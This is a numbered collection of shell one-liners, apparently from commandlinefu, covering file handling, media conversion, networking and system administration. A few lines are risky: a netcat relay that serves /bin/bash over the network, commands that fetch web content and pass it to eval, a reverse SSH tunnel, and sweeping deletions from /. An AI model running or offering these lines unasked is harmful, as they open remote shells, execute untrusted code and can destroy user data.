4787# Recursively lists all files in the current directory, except the ones in '.snapshot' directory
4788find . -wholename './.snapshot' -prune -o -print
4789
4790# Display rows and columns of random numbers with awk
4791seq 6 | awk '{for(x=1; x<=5; x++) {printf ("%f ", rand())}; printf ("\n")}'
4792
4793# View non-printing characters with cat
4794cat -v -t -e
4795
4796# Optimize Xsane PDFs
4797gs -q -sPAPERSIZE=a4 -dNOPAUSE -dBATCH -sDEVICE=pdfwrite -sOutputFile=test.pdf multipageproject.pdf
4798
4799# Downsample mp3s to 128K
4800for f in *.mp3 ; do lame --mp3input -b 128 "$f" ./resamp/"$f" ; done
4801
4802# Create black and white image
4803convert -colorspace gray face.jpg gray_face.jpg
4804
4805# print date 24 hours ago
4806date --date=yesterday
4807
4808# find the longest command in your history
4809history | perl -lane '$lsize{$_} = scalar(@F); if($longest<$lsize{$_}) { $longest = $lsize{$_}; print "$_"; };' | tail -n1
4810
4811# colored prompt
4812export PS1='\[\033[0;35m\]\h\[\033[0;33m\] \w\[\033[00m\]: '
4813
4814# Scan for new SCSI devices
4815echo "- - -" > /sys/class/scsi_host/host0/scan
4816
4817# Count number of Line for all the files in a directory recursively
4818for file in `find . -type f`; do cat $file; done | wc -l
4819
4820# Bash autocomplete case insensitive search
4821shopt -s nocaseglob
4822
4823# To have only unique lines in a file
4824sort file1.txt | uniq > file2.txt
4825
4826# Convert your favorite image in xpm for using in grub
4827convert image123.png -colors 14 -resize 640x480 grubimg.xpm
4828
4829# Open Perl module source in your editor
4830$EDITOR `perldoc -l Module::Name`
4831
4832# Never rewrites a file while copying (or moving)
4833cp --backup=t source.file target.file
4834
4835# grep apache access.log and list IP's by hits and date - sorted
4836grep Mar/2009 /var/log/apache2/access.log | awk '{ print $1 }' | sort -n | uniq -c | sort -rn | head
4837
4838# Mac OS X: remove extra languages to save over 3 GB of space.
4839sudo find / -iname "*.lproj" -and \! -iname "en*" -print0 | tee /dev/stderr | sudo xargs -0 rm -rfv
4840
4841# Remove annoying OS X DS_Store folders
4842find . -name .DS_Store -exec rm {} \;
4843
4844# Getting the last argument from the previous command
4845cd !$
4846
4847# How to pull out lines between two patterns
4848perl -0777 -ne 'print "$1\n" while /word-a(.*?)word-b/gs' filename.txt
4849
4850
4851
4852# Convert all WMF images to SVG recursively ignoring file extension case
4853find . -type f -iname '*.wmf' | while read FILE; do FILENAME="${FILE%.*}"; wmf2svg -o ${FILENAME}.svg $FILE; done
4854
4855# Show the disk usage for files pointed by symbolic link in a directory
4856find /usr/lib -maxdepth 1 -type l -print0 | xargs -r0 du -Lh
4857
4858# Create md5sum of files under the current dir excluding some directories
4859find . -type d \( -name DIR1 -o -name DIR2 \) -prune -o -type f -print0 | xargs -r0 md5sum
4860
4861# Create a listing of all possible permissions and their octal representation.
4862touch /tmp/$$;for N in `seq -w 0 7777|grep -v [89]`; do chmod $N /tmp/$$; P=`ls -l /tmp/$$ | awk '{print $1}'`; echo $N $P; done;rm /tmp/$$
4863
4864# Execute a sudo command remotely, without displaying the password
4865stty -echo; ssh -t HOSTNAME "sudo some_command"; stty echo
4866
4867# Generate a playlist of all the files in the directory, newer first
4868find . -type f -print0 | xargs -r0 stat -c %Y\ %n | sort -rn | gawk '{sub(/.\//,"",$2); print $2}' > /tmp/playlist.m3u
4869
4870# Show this month's calendar, with today's date highlighted
4871cal | grep --before-context 6 --after-context 6 --color -e " $(date +%e)" -e "^$(date +%e)"
4872
4873# Monitor Linux/MD RAID Rebuild
4874watch -n 5 -d cat /proc/mdstat
4875
4876# Watch contents of a file grow
4877tail -n 0 -f /var/log/messages
4878
4879# Kill most recently created process.
4880pkill -n firefox
4881
4882# Find out what package some command belongs to (on RPM systems)
4883rpm -qif `which more`
4884
4885# Shows physically connected drives (SCSI or SATA)
4886ls /sys/bus/scsi/devices
4887
4888# Print the 10 deepest directory paths
4889find . -type d | perl -nle 'print s,/,/,g," $_"' | sort -n | tail
4890
4891# memcache affinity: queries local memcached for stats, calculates hit/get ratio and prints it out.
4892echo -en "stats\r\n" "quit\r\n" | nc localhost 11211 | tr -s [:cntrl:] " "| cut -f42,48 -d" " | sed "s/\([0-9]*\)\s\([0-9]*\)/ \2\/\1*100/" | bc -l
4893
4894# Remove Backup Files
4895find / -name *~ -delete
4896
4897# checking space availabe on all /proc/mounts points (using Nagios check_disk)
4898check_disk -w 15% -c 10% $(for x in $(cat /proc/mounts |awk '{print $2}')\; do echo -n " -p $x "\; done)
4899
4900# Show top running processes by the number of open filehandles they have
4901lsof | awk '{print $1}' | sort | uniq -c | sort -rn | head
4902
4903# display contents of a file w/o any comments or blank lines
4904egrep '^[^#]' some_file
4905
4906# Short and sweet output from dig(1)
4907alias ds='dig +noauthority +noadditional +noqr +nostats +noidentify +nocmd +noquestion +nocomments'
4908
4909# use the real 'rm', distribution brain-damage notwithstanding
4910\rm somefile
4911
4912# Enter your ssh password one last time
4913cat .ssh/id_dsa.pub | ssh elsewhere "[ -d .ssh ] || mkdir .ssh ; cat >> .ssh/authorized_keys"
4914
4915# Generate White Noise
4916cat /dev/urandom > /dev/dsp
4917
4918# Convert df command to posix; uber GREPable
4919df -P
4920
4921# bash shell expansion
4922cp /really/long/path/and/file/name{,-`date -I`}
4923
4924# Want to known what time is it in another part of the world ?
4925TZ=Indian/Maldives date
4926
4927
4928
4929# Check ps output to see if file is running, if not start it
4930ps -C thisdaemon || { thisdaemon & }
4931
4932# Add a line to a file using sudo
4933echo "foo bar" | sudo tee -a /path/to/some/file
4934
4935# Send a backup job to a remote tape drive on another machine over SSH
4936tar cvzf - /directory/ | ssh root@host "cat > /dev/nst0"
4937
4938# Kill all processes belonging to a user
4939ps -ef | grep $USERNAME | awk {'print $2'} | xargs kill [-9]
4940
4941# Find files with root setuids settings
4942sudo find / -user root -perm -4000 -print
4943
4944# a for loop with filling 0 format, with seq
4945for i in `seq -f %03g 5 50 111`; do echo $i ; done
4946
4947# Search manpages for a keyword
4948man -k <keyword>
4949
4950# Current running process ordered by %CPU
4951ps -eo pcpu,pid,args | sort -n
4952
4953# useless load
4954cat /dev/urandom | gzip -9 > /dev/null &
4955
4956# Pulls total current memory usage, including SWAP being used, by all active processes.
4957ps aux | awk '{sum+=$6} END {print sum/1024}'
4958
4959# list files with last modified at the end
4960alias lrt='ls -lart'
4961
4962# Add all files not under subversion control
4963for i in $(svn st | grep "?" | awk '{print $2}'); do svn add $i; done;
4964
4965# Who has the most Apache connections.
4966netstat -anl | grep :80 | awk '{print $5}' | cut -d ":" -f 1 | uniq -c | sort -n | grep -c IPHERE
4967
4968# List top 20 IP from which TCP connection is in SYN_RECV state
4969netstat -pant 2> /dev/null | grep SYN_ | awk '{print $5;}' | cut -d: -f1 | sort | uniq -c | sort -n | tail -20
4970
4971# List all execs in $PATH, usefull for grepping the resulting list
4972find ${PATH//:/ } -executable -type f -printf "%f\n"
4973
4974# Displays process tree of all running processes
4975pstree -Gap
4976
4977# Print trending topics on Twitter
4978wget http://search.twitter.com/trends.json -O - --quiet | ruby -rubygems -e 'require "json";require "yaml"; puts YAML.dump(JSON.parse($stdin.gets))'
4979
4980# Show sorted list of files with sizes more than 1MB in the current dir
4981du -hs * | grep '^[0-9,]*[MG]' | sort -rn
4982
4983# Extract audio stream from an AVI file using mencoder
4984mencoder "${file}" -of rawaudio -oac mp3lame -ovc copy -o audio/"${file/%avi/mp3}"
4985
4986# display ip address
4987curl -s http://myip.dk | grep '<title>' | sed -e 's/<[^>]*>//g'
4988
4989# Show what a given user has open using lsof
4990lsof -u www-data
4991
4992# Archive a directory with datestamp on filename
4993tar zcvf somedir-$(date +%Y%m%d-%H%M).tar.gz somedir/
4994
4995# Counts number of lines
4996find . \( -name '*.h' -o -name '*.cc' \) | xargs grep . | wc -l
4997
4998# output the contents of a file removing any empty lines including lines which contain only spaces or tabs.
4999sed -e '/^[<space><tab>]*$/d' somefile
5000
5001# run command on a group of nodes in parallel
5002echo -n m{1..5}.cluster.net | xargs -d' ' -n1 -P5 -I{} ssh {} 'uptime'
5003
5004
5005
5006# backup directory. (for bash)
5007cp -pr directory-you-want-to-backup{,_`date +%Y%m%d`} # for bash
5008
5009# show all programs connected or listening on a network port
5010alias nsl 'netstat -f inet | grep -v CLOSE_WAIT | cut -c-6,21-94 | tail +2'
5011
5012# date offset calculations
5013date --date="1 fortnight ago"
5014
5015# Live filter a log file using grep and show x# of lines above and below
5016tail -f <filename> | grep -C <# of lines to show above and below> <text>
5017
5018# rot13 simple substitution cipher via command line
5019alias rot13='perl -pe "y/A-Za-z/N-ZA-Mn-za-m/;"'
5020
5021# setup a tunnel from destination machine port 80 to localhost 2001, via a second (hub) machine.
5022ssh -N -L2001:localhost:80 -o "ProxyCommand ssh someuser@hubmachine nc -w 5 %h %p" someuser@destinationmachine
5023
5024# uniq for unsorted data
5025awk '!_[$0]++{print}'
5026
5027# Get MX records for a domain
5028dig foo.org mx +short
5029
5030# Show Shared Library Mappings
5031ldconfig -p
5032
5033# Show number of NIC's, ports per nic and PCI address
5034lspci | grep Ether | awk '{ VAR=$1; split(VAR,ARR,"."); count[ARR[1]]++; LINE=$0; split(LINE,LINEARR,":"); LINECOUNT[ARR[1]]=LINEARR[3]; } END { for(i in count) { printf("PCI address: %s\nPorts: %d\nCard Type: %s\n", i, count[i], LINECOUNT[i]) } }'
5035
5036# locate bin, src, and man file for a command
5037whereis somecommand
5038
5039# Display all readline binding that use CTRL
5040bind -p | grep -F "\C"
5041
5042# send tweets to twitter (and get user details)
5043curl --basic --user "user:pass" --data-ascii "status=tweeting%20from%20%the%20linux%20command%20line" http://twitter.com/statuses/update.json
5044
5045# Display summary of git commit ids and messages for a given branch
5046git log master | awk '/commit/ {id=$2} /\s+\w+/ {print id, $0}'
5047
5048# Synchronise a file from a remote server
5049rsync -av -e ssh user@host:/path/to/file.txt .
5050
5051# Choose from a nice graphical menu which DI.FM radio station to play
5052zenity --list --width 500 --height 500 --column 'radio' --column 'url' --print-column 2 $(curl -s http://www.di.fm/ | awk -F '"' '/href="http:.*\.pls.*96k/ {print $2}' | sort | awk -F '/|\.' '{print $(NF-1) " " $0}') | xargs mplayer
5053
5054# Jump to line X in file in Nano.
5055nano +X foo
5056
5057# see the TIME_WAIT and ESTABLISHED nums of the network
5058netstat -n | awk '/^tcp/ {++B[$NF]} END {for(a in B) print a, B[a]}'
5059
5060# create a .avi with many .jpg
5061mencoder "mf://*.jpg" -mf fps=8 -o ./video.avi -ovc lavc
5062
5063# Get the list of root nameservers for a given TLD
5064dig +short NS org.
5065
5066# SH
5067shmore(){ local l L M="`echo;tput setab 4&&tput setaf 7` --- SHMore --- `tput sgr0`";L=2;while read l;do echo "${l}";((L++));[[ "$L" == "${LINES:-80}" ]]&&{ L=2;read -p"$M" -u1;echo;};done;}
5068
5069# convert ascii string to hex
5070echo $ascii | perl -ne 'printf "%x", ord for split //'
5071
5072# Grab a list of MP3s out of Firefox's cache
5073find ~/.mozilla/firefox/*/Cache -exec file {} \; | awk -F ': ' 'tolower($2)~/mpeg/{print $1}'
5074
5075# Launch a game, like Tetris, when apt-get installing an app larger than 50 Megabytes
5076APP=wine; if [ $(sudo apt-get --print-uris -y install $APP | sed -ne 's/^After this operation, \([0-9]\{1,\}\).*MB.*/\1/p') -gt 50 ]; then gnometris 2>/dev/null & sudo apt-get install $APP; else sudo apt-get install $APP; fi
5077
5078# Find all files currently open in Vim and/or gVim
5079vim -r 2>&1 | grep '\.sw.' -A 5 | grep 'still running' -B 5
5080
5081
5082
5083# pimp text output e.g. "Linux rocks!" to look nice
5084figlet Linux rocks!
5085
5086# pimp text output e.g. "Linux rocks!" to look nice
5087cowsay Linux rocks!
5088
5089# make directory with current date
5090mkdir $(date +%Y_%m_%d)
5091
5092# Combining text files into one file
5093cat *.txt >output.txt
5094
5095# Sort installed rpms in alphabetic order with their size.
5096rpm -qa --qf "%-30{NAME} %-10{SIZE}\n" | sort -n | less
5097
5098# Sort installed rpms by decreasing size.
5099rpm -qa --qf "%-10{SIZE} %-30{NAME}\n" | sort -nr | less
5100
5101# Print a row of characters across the terminal
5102printf -v row "%${COLUMNS}s"; echo ${row// /#}
5103
5104# Scan for nearby Bluetooth devices.
5105hcitool scan
5106
5107# Get Unique Hostnames from Apache Config Files
5108cat /etc/apache2/sites-enabled/* | egrep 'ServerAlias|ServerName' | tr -s ' ' | sed 's/^\s//' | cut -d ' ' -f 2 | sed 's/www.//' | sort | uniq
5109
5110# Add .gitignore files to all empty directories recursively from your current directory
5111find . \( -type d -empty \) -and \( -not -regex ./\.git.* \) -exec touch {}/.gitignore \;
5112
5113# Which Twitter user are you?
5114curl -s http://twitter.com/username | grep 'id="user_' | grep -o '[0-9]*'
5115
5116# check python syntax in vim
5117:!pylint -e %
5118
5119# From Vim, run current buffer in python
5120! python %
5121
5122# Mysql uptime
5123mysql -e"SHOW STATUS LIKE '%uptime%'"|awk '/ptime/{ calc = $NF / 3600;print $(NF-1), calc"Hour" }'
5124
5125# convert pdf into multiple png files
5126gs -sDEVICE=pngalpha -sOutputFile=<filename>%d.png -r<resolution> <pdffile>
5127
5128# High resolution video screen recording
5129gorecord() { if [ $# != 1 ]; then echo 'gorecord video.mp4' return fi ffmpeg -f x11grab -s <resolution> -r 25 -i :0.0 -sameq -vcodec mpeg4 "$1" }
5130
5131# Capture video of a linux desktop
5132ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg > /root/howto/capture_screen_video_ffmpeg
5133
5134# Query Wikipedia via console over DNS
5135mwiki() { dig +short txt "$*".wp.dg.cx; }
5136
5137# Updated top ten memory utilizing processes (child/instance aggregation) now with percentages of total RAM
5138TR=`free|grep Mem:|awk '{print $2}'`;ps axo rss,comm,pid|awk -v tr=$TR '{proc_list[$2]+=$1;} END {for (proc in proc_list) {proc_pct=(proc_list[proc]/tr)*100; printf("%d\t%-16s\t%0.2f%\n",proc_list[proc],proc,proc_pct);}}'|sort -n |tail -n 10
5139
5140# easily find megabyte eating files or directories
5141du -hs *|grep M|sort -n
5142
5143# Show Directories in the PATH Which does NOT Exist
5144ls -d $(echo ${PATH//:/ }) > /dev/null
5145
5146# Currency Conversion
5147currency_convert() { wget -qO- "http://www.google.com/finance/converter?a=$1&from=$2&to=$3&hl=es" | sed '/res/!d;s/<[^>]*>//g'; }
5148
5149# Compare prices in euro of the HTC Desire on all the european websites of Expansys.
5150for i in be bg cz de es fi fr hu it lv lu at pl pt ro sk si ; do echo -n "$i " ; wget -q -O - http://www.expansys.$i/d.aspx?i=196165 | grep price | sed "s/.*<p id='price'><strong>€ \([0-9]*[,.][0-9]*\).*/\1/g"; done
5151
5152# Insert a line for each n lines
5153ls -l | awk '{if (NR % 5 == 0) print "-- COMMIT --"; print}'
5154
5155# Google Translate
5156cmd=$( wget -qO- "http://ajax.googleapis.com/ajax/services/language/translate?v=1.0&q=$1&langpair=$2|${3:-en}" | sed 's/.*"translatedText":"\([^"]*\)".*}/\1\n/'; ); echo "$cmd"
5157
5158
5159
5160# Pronounce an English word using Merriam-Webster.com
5161cmd=$(wget -qO- "http://www.m-w.com/dictionary/$(echo "$@"|tr '[A-Z]' '[a-z]')" | sed -rn "s#return au\('([^']+?)', '([^'])[^']*'\);.*#\nwget -qO- http://cougar.eb.com/soundc11/\2/\1 | aplay -q#; s/[^\n]*\n//p"); [ "$cmd" ] && eval "$cmd" || exit 1
5162
5163# display a one-liner of current nagios exit statuses. great with netcat/irccat
5164grep current_state= /var/log/nagios/status.dat|sort|uniq -c|sed -e "s/[\t ]*\([0-9]*\).*current_state=\([0-9]*\)/\2:\1/"|tr "\n" " "
5165
5166# Display a Lissajous curve in text
5167ruby -rcurses -e"include Curses;i=0;loop{setpos 12*(Math.sin(i)+1),40*(Math.cos(i*0.2)+1);addstr'.';i+=0.01;refresh}"
5168
5169# Convert multiple flac files to mp3
5170for file in *.flac; do $(flac -cd "$file" | lame -h - "${file%.flac}.mp3"); done
5171
5172# Your name backwards
5173espeak "$USER" --stdout | sox - -t mp3 - reverse | mpg123 -
5174
5175# Fetch the Gateway Ip Address
5176ip route list match 0.0.0.0/0 | cut -d " " -f 3
5177
5178# determine if a shared library is compiled as 32bit or 64bit
5179libquery=/lib32/libgcc_s.so.1; if [ `nm -D $libquery | sed -n '/[0-9A-Fa-f]\{8,\}/ {p; q;}' | grep "[0-9A-Fa-f]\{16\}" | wc -l` == 1 ]; then echo "$libquery is a 64 bit library"; else echo "$libquery is a 32 bit library"; fi;
5180
5181# Netcat & Tar
5182Server: nc -l 1234 |tar xvfpz - ;Client: tar zcfp - /path/to/dir | nc localhost 1234
5183
5184# Play music from youtube without download
5185url="$my_url";file=$(youtube-dl -s -e $url);wget -q -O - `youtube-dl -b -g $url`| ffmpeg -i - -f mp3 -vn -acodec libmp3lame - > "$file.mp3"
5186
5187# Lists installed kernels
5188ls -1 /lib/modules
5189
5190# a function to create a box of '=' characters around a given string.
5191box(){ c=${2-=}; l=$c$c${1//?/$c}$c$c; echo -e "$l\n$c $1 $c\n$l"; unset c l;}
5192
5193# Change display resolution
5194xrandr -s 1280x1024
5195
5196# pass the output of some command to a new email in the default email client
5197somecommand | open "mailto:?body=$(cat - | stripansi | urlencode)"
5198
5199# Show the command line of a process that use a specific port (ubuntu)
5200cat /proc/$(lsof -ti:8888)/cmdline | tr "\0" " "
5201
5202# a find and replace within text-based files, for batch text replacement, not using perl
5203sed -i -e 's/SEARCH_STRING/REPLACE_STRING/g' `find . -iname 'FILENAME'`
5204
5205# Split a file one piece at a time, when using the split command isn't an option (not enough disk space)
5206dd if=inputfile of=split3 bs=16m count=32 skip=64
5207
5208# Burn an ISO on the command line.
5209cdrecord -v speed=4 driveropts=burnfree dev=/dev/scd0 cd.iso
5210
5211# Find the real procesor speed when you use CPU scaling [cpuspeed]
5212awk -F": " '/cpu MHz\ */ { print "Processor (or core) running speed is: " $2 }' /proc/cpuinfo ; dmidecode | awk -F": " '/Current Speed/ { print "Processor real speed is: " $2 }'
5213
5214# Pull Total Memory Usage In Virtual Environment
5215ps axo rss,comm | awk '{sum+=$1; print $1/1024, "MB - ", $2} END {print "\nTotal RAM Used: ", sum/1024, "MB\n"}'
5216
5217# output your microphone to a remote computer's speaker
5218arecord -f dat | ssh -C user@host aplay -f dat
5219
5220# View acceptable client certificate CA names asked for during SSL renegotiations
5221openssl s_client -connect www.example.com:443 -prexit
5222
5223# Remote screenshot
5224DISPLAY=":0.0"; export DISPLAY; import -window root gotya.png
5225
5226# rename all jpg files with a prefix and a counter
5227ls *.jpg | grep -n "" | sed 's,.*,0000&,' | sed 's,0*\(...\):\(.*\).jpg,mv "\2.jpg" "image-\1.jpg",' | sh
5228
5229# scp with compression.
5230scp -C 10.0.0.4:/tmp/backup.sql /path/to/backup.sql
5231
5232# Reverse ssh
5233#INSIDE-host# ssh -f -N -R 8888:localhost:22 user@somedomain.org # #OUTSIDE-host#ssh user@localhost -p 8888#
5234
5235
5236
5237# gzip over ssh
5238ssh 10.0.0.4 "cat /tmp/backup.sql | gzip -c1" | gunzip -c > backup.sql
5239
5240# ffmpeg command that transcodes a MythTV recording for Google Nexus One mobile phone
5241ffmpeg -i /var/lib/mythtv/pretty/Chuck20100208800PMChuckVersustheMask.mpg -s 800x480 -vcodec mpeg4 -acodec libfaac -ac 2 -ar 16000 -r 13 -ab 32000 -aspect 16:9 Chuck20100208800PMChuckVersustheMask.mp4
5242
5243# convert a line to a space
5244echo $(cat file)
5245
5246# Shell function to create a menu of items which may be inserted into the X paste buffer.
5247smenu() ( IFS=',' ; select x in $*; do echo "$x" | xsel -i; done )
5248
5249# OpenDns IP update via curl
5250curl -i -m 60 -k -u user:password 'https://updates.opendns.com/account/ddns.php?'
5251
5252# Determine space taken by files of certain type
5253find . -name <pattern> -ls | awk 'BEGIN {i=0}; {i=i+$7}; END {print i}'
5254
5255# show todays svn log
5256svn log --revision {`date +%Y-%m-%d`}:HEAD
5257
5258# Speed up the keyboard repeat rate in X server
5259xset r rate 250 120
5260
5261# Configuring proxy client on terminal without leaving password on screen or in bash_history
5262set-proxy () { P=webproxy:1234; DU="fred"; read -p "username[$DU]:" USER; printf "%b"; UN=${USER:-$DU}; read -s -p "password:" PASS; printf "%b" "\n"; export http_proxy="http://${UN}:${PASS}@$P/"; export ftp_proxy="http://${UN}:${PASS}@$P/"; }
5263
5264# Dump sqlite database to plain text format
5265echo '.dump' | sqlite3 your_sqlite.db > your_sqlite_text.txt
5266
5267# Get current Xorg resolution via xrandr
5268$ xrandr -q|perl -F'\s|,' -lane "/^Sc/&&print join '',@F[8..10]"
5269
5270# Vlc ncurses mode browsing local directorys.
5271vlc -I ncurses <MEDIA_DIR>
5272
5273# How to stop MAC Address via IPTables
5274-A INPUT -i eth1 -m mac ?mac 00:BB:77:22:33:AA -j ACCEPT
5275
5276# grab all commandlinefu shell functions into a single file, suitable for sourcing.
5277curl -s http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/[0-2400:25] | grep -oP "^\w+\(\)\ *{.*}"
5278
5279# Validating a file with checksum
5280md5 myfile | awk '{print $4}' | diff <(echo "c84fa6b830e38ee8a551df61172d53d7") -
5281
5282# Netcat Relay
5283nc -vv $MIDDLEHOST 1234; ## nc -vv -l $IamMIDDLEHOST 1234 | nc $Targethost 1234;## nc -l $IamTargetHost 1234 -e /bin/bash;
5284
5285# add all files not under version control to repository
5286svn add . --force
5287
5288# Block all IP addresses and domains that have attempted brute force SSH login to computer
5289/usr/sbin/iptables -I INPUT -p tcp --dport 22 -i eth0 -m state --state NEW -m recent -set
5290
5291# Find the fastest server to disable comcast's DNS hijacking
5292sudo netselect -v -s3 $(curl -s http://dns.comcast.net/dns-ip-addresses2.php | egrep -o '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort | uniq)
5293
5294# kde4 lock screen command
5295qdbus org.freedesktop.ScreenSaver /ScreenSaver Lock
5296
5297# Fast tape rewind
5298< /dev/rmt/0cbn
5299
5300# Find unused IPs on a given subnet
5301fping -r1 -g <subnet> 2> /dev/null | grep unreachable | cut -f1 -d' '
5302
5303# Print the contents of $VARIABLE, six words at a time
5304echo $VARIABLE | xargs -d'\40' -n 6 echo
5305
5306# change dinosaur poop into gold
5307sqlite3 -list /home/$USER/.mozilla/firefox/*.default/places.sqlite 'select url from moz_places ;' | grep http
5308
5309# This command will shorten any URL the user inputs. What makes this command different is that it utilizes 5 different services and gives you 5 different outputs.
5310curl -s http://tinyurl.com/create.php?url=$1 \ | sed -n 's/.*\(http:\/\/tinyurl.com\/[a-z0-9][a-z0-9]*\).*/\1/p' \ | uniq ; curl -s http://bit.ly/?url=$1 \ | sed -n 's/.*\(shortened-url"...............
5311
5312
5313
5314# A command to post a message and an auto-shortened link to Twitter. The link shortening service is provide by TinyURL.
5315curl --user "USERNAME:PASSWORD" -d status="MESSAGE_GOES_HERE $(curl -s http://tinyurl.com/api-create.php?url=URL_GOES_HERE)" -d source="cURL" http://twitter.com/statuses/update.json -o /dev/null
5316
5317# Watch the size of a directory using figlet
5318watch -n1 "du -hs /home/$USER | cut -f1 -d'/' | figlet -k"
5319
5320# prints line numbers
5321ls | sed "/^/=" | sed "N;s/\n/. /"
5322
5323# Colorful man
5324/usr/bin/man man | /usr/bin/col -b | /usr/bin/iconv -c | view -c 'set ft=man nomod nolist nospell nonu
5325
5326# Lists installed kernels
5327dpkg --get-selections | grep linux-image
5328
5329# Convert PDF to JPEG using Ghostscript
5330gs -dNOPAUSE -sDEVICE=jpeg -r144 -sOutputFile=p%03d.jpg file.pdf
5331
5332# Setup a persistant SSH tunnel w/ pre-shared key authentication
5333autossh -f -i /path/to/key -ND local-IP:PORT User@Server
5334
5335# Get your public ip
5336curl -s http://icanhazip.com/
5337
5338# A command line calculator in Perl
5339perl -e 'for(@ARGV){s/x/*/g;s/v/sqrt /g;s/\^/**/g};print eval(join("",@ARGV)),$/;'
5340
5341# Check reverse DNS
5342host {checkIp or hostname} [dns server]
5343
5344# Slightly better compressed archives
5345find . \! -type d | rev | sort | rev | tar c --files-from=- --format=ustar | bzip2 --best > a.tar.bz2
5346
5347# Replace Caps-lock with Control-key
5348xmodmap -e 'remove Lock = Caps_Lock' && xmodmap -e 'add control = Caps_Lock'
5349
5350# Another Matrix Style Implementation
5351echo -ne "\e[32m" ; while true ; do echo -ne "\e[$(($RANDOM % 2 + 1))m" ; tr -c "[:print:]" " " < /dev/urandom | dd count=1 bs=50 2> /dev/null ; done
5352
5353# Create sqlite db and store image
5354sqlite3 img.db "create table imgs (id INTEGER PRIMARY KEY, img BLOB); insert into imgs (img) values (\"$(base64 -w0 /tmp/Q.jpg)\"); select img from imgs where id=1;" | base64 -d -w0 > /tmp/W.jpg
5355
5356# Tar - Compress by excluding folders
5357tar -cvzf arch.tgz $(find /path/dir -not -type d)
5358
5359# Write a listing of all directories and files on the computer to a compressed file.
5360sudo ls -RFal / | gzip > all_files_list.txt.gz
5361
5362# hanukkah colored bash prompt
5363export PS1="\e[0;34m[\u\e[0;34m@\h[\e[0;33m\w\e[0m\e[0m\e[0;34m]#\e[0m "
5364
5365# Analyse compressed Apache access logs for the most commonly requested pages
5366zcat access_log.*.gz | awk '{print $7}' | sort | uniq -c | sort -n | tail -n 20
5367
5368# extract plain text from MS Word docx files
5369unzip -p some.docx word/document.xml | sed -e 's/<[^>]\{1,\}>//g; s/[^[:print:]]\{1,\}//g'
5370
5371# Collect a lot of icons from /usr/share/icons (may overwrite some, and complain a bit)
5372mkdir myicons && find /usr/share/icons/ -type f | xargs cp -t myicons
5373
5374# Get your public ip
5375curl -s http://sputnick-area.net/ip
5376
5377# View a random xkcd comic
5378wget -q http://dynamic.xkcd.com/comic/random/ -O-| sed -n '/<img src="http:\/\/imgs.xkcd.com\/comics/{s/.*\(http:.*\)" t.*/\1/;p}' | awk '{system ("wget -q " $1 " -O- | display -title $(basename " $1") -write /tmp/$(basename " $1")");}'
5379
5380# recursive search and replace old with new string, inside files
5381find . -type f -exec sed -i s/oldstring/newstring/g {} +
5382
5383# copy ACL of one file to another using getfacl and setfacl
5384getfacl <file-with-acl> | setfacl -f - <file-with-no-acl>
5385
5386# determine if tcp port is open
5387nmap -p 80 hostname
5388
5389
5390
5391# prints line numbers
5392cat -n
5393
5394# Router discovery
5395sudo arp-scan 192.168.1.0/24 -interface eth0
5396
5397# View the newest xkcd comic.
5398wget `lynx --dump http://xkcd.com/|grep png`
5399
5400# Strace all signals processes based on a name ( The processes already started... )
5401straceprocessname(){ x=( $(pgrep "$@") ); [[ ${x[@]} ]] || return 1; strace -vf ${x[@]/#/-p }; }
5402
5403# Find dead symbolic links
5404find . -type l | perl -lne 'print if ! -e'
5405
5406# last.fm rss parser
5407awk '/<link>/{gsub(/.*<link>|<\/link>.*/,"");print "<li><a href=\042"$0"\042> "t"</a>" } /<title>/{gsub(/.*<title>|<\/title>.*/,"");t=$0 }' file
5408
5409# last.fm rss parser
5410egrep "<link>|<title>" recenttracks.rss | awk 'ORS=NR%2?" ":"\n"' | awk -F "</title>" '{print $2, $1}' | sed -e 's/\<link\>/\<li\>\<a href\=\"/' -e 's/\<\/link\>/\">/' -e 's/\<title\>//' -e 's/$/\<\/a\>\<\/li\>/g' -e '1,1d' -e 's/^[ \t]*//'
5411
5412# Get names of files in /dev, a USB device is attached to
5413ls -la /dev/disk/by-id/usb-*
5414
5415# Mount a partition from dd disk image
5416mount -o loop,offset=$((512*x)) /path/to/dd/image /mount/path
5417
5418# List all symbolic links in current directory
5419\ls -1 | xargs -l readlink
5420
5421# remove files and directories with acces time older than a given date
5422touch -t "YYYYMMDDhhmm.ss" dummy ; find . -anewer dummy
5423
5424# Show sorted list of files with sizes more than 1MB in the current dir
5425du | sort -nr | cut -f2- | xargs du -hs
5426
5427# exit if another instance is running
5428if [ `fuser $0|wc -w` -gt "1" ];then exit; fi
5429
5430# Short Information about loaded kernel modules
5431lsmod | cut -d' ' -f1 | xargs modinfo | egrep '^file|^desc|^dep' | sed -e'/^dep/s/$/\n/g'
5432
5433# advanced bash history
5434export HISTTIMEFORMAT='%Y.%m.%d-%T :: ' HISTFILESIZE=50000 HISTSIZE=50000
5435
5436# convert wav files to ogg
5437oggenc *.wav
5438
5439# Find files recursively that were updated in the last hour ignoring SVN files and folders.
5440find . -mmin -60 -not -path "*svn*" -print|more
5441
5442# Decode a MIME message
5443munpack file.txt
5444
5445# Sort movies by length, longest first
5446find -name '*.avi' | while read i ; do echo $(mplayer -identify -frames 0 -vo null -nosound "$i" 2>&1 | grep ID_LENGTH | cut -d= -f2)" ""$i" ;done | sort -k1 -r -n | sed 's/^\([^\ ]*\)\ \(.*\)$/\2:\1/g'
5447
5448# Clean your broken terminal
5449reset
5450
5451# Create a thumbnail from a video file
5452thumbnail() { ffmpeg -itsoffset -20 -i $i -vcodec mjpeg -vframes 1 -an -f rawvideo -s 640x272 ${i%.*}.jpg }
5453
5454# geoip information
5455GeoipLookUp(){ curl -A "Mozilla/5.0" -s "http://www.geody.com/geoip.php?ip=$1" | grep "^IP.*$1" | html2text; }
5456
5457# convert a latex source file (.tex) into opendocument (.odt ) format
5458htlatex MyFile.tex "xhtml,ooffice" "ooffice/! -cmozhtf" "-coo -cvalidate"
5459
5460# List the CPU model name
5461grep "model name" /proc/cpuinfo
5462
5463# Get your external IP address with a random commandlinefu.com command
5464IFS=$'\n';cl=($(curl -s http://www.commandlinefu.com/commands/matching/external/ZXh0ZXJuYWw=/sort-by-votes/plaintext|sed -n '/^# Get your external IP address$/{n;p}'));c=${cl[$(( $RANDOM % ${#cl[@]} ))]};eval $c;echo "Command used: $c"
5465
5466
5467
